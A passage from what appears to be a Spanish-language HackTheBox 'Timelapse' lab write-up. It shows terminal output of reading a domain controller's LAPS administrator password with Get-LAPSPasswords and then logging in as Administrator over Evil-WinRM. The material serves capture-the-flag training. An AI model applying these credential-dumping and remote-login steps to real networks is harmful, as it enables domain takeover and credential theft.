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*Evil-WinRM* PS C:\Users\svc_deploy\Desktop> Import-Module ./Get-LAPSPasswords.ps1
*Evil-WinRM* PS C:\Users\svc_deploy\Desktop> Get-LAPSPasswords


Hostname   : dc01.timelapse.htb
Stored     : 1
Readable   : 1
Password   : 8Sz70$0Tjh87103v]+/%QZV-
Expiration : 8/20/2024 1:42:13 AM

Hostname   : dc01.timelapse.htb
Stored     : 1
Readable   : 1
Password   : 8Sz70$0Tjh87103v]+/%QZV-
Expiration : 8/20/2024 1:42:13 AM

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Hostname   : dc01.timelapse.htb
Stored     : 1
Readable   : 1
Password   : 8Sz70$0Tjh87103v]+/%QZV-
Expiration : 8/20/2024 1:42:13 AM

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Hostname   : dc01.timelapse.htb
Stored     : 1
Readable   : 1
Password   : 8Sz70$0Tjh87103v]+/%QZV-
Expiration : 8/20/2024 1:42:13 AM

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Hostname   :
Stored     : 0
Readable   : 0
Password   :
Expiration : NA

Nos conectamos como el usuario Administrador a la máquina víctima

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# evil-winrm -i 10.129.227.113 -u 'Administrator' -p '8Sz70$0Tjh87103v]+/%QZV-' -S  
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
Hackthebox, Windows
SMB Enumeration Cracking ZIp Password Protected File Cracking and reading .PFX File Gaining SSL access with Evil-WinRM Reading the user's Powershell history Abusing LAPS to get passwords
Esta entrada está licenciada bajo CC BY 4.0 por el autor.